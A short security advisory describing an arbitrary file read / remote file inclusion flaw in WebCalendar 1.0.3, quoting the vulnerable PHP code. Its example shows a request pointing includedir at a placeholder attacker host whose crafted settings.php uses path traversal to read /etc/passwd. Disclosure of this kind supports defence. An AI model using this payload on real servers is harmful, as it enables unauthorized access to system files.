Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12907
HistoryMay 31, 2006 - 12:00 a.m.

WebCalendar-1.0.3 reading of any files

2006-05-3100:00:00
vulners.com
9

Version: WebCalendar-1.0.3

Type: Reading of any files

Description:

includes/config.php:
line 64

if ( ! empty ( $includedir ) )
$fd = @fopen ( "$includedir/settings.php", "rb", true );

while ( ! feof ( $fd ) ) {
$data .= fgets ( $fd, 4096 );
}

$configLines = explode ( "\n", $data );

for ( $n = 0; $n < count ( $configLines ); $n++ ) {

$settings[$matches[1]] = $matches[2];

$user_inc = $settings['user_inc'];

includes/init.php
include_once "includes/$user_inc";

Example:

index.php?includedir=http://attacker_host
where in attacker_host exists file settings.php , which content

"
<?php

echo &#39;&lt;?php

updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300

Unimportant variables can be taken from original settings.php
user_inc: …/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd

end settings.php

?>';

?>
"

Requirements
register_globals = On;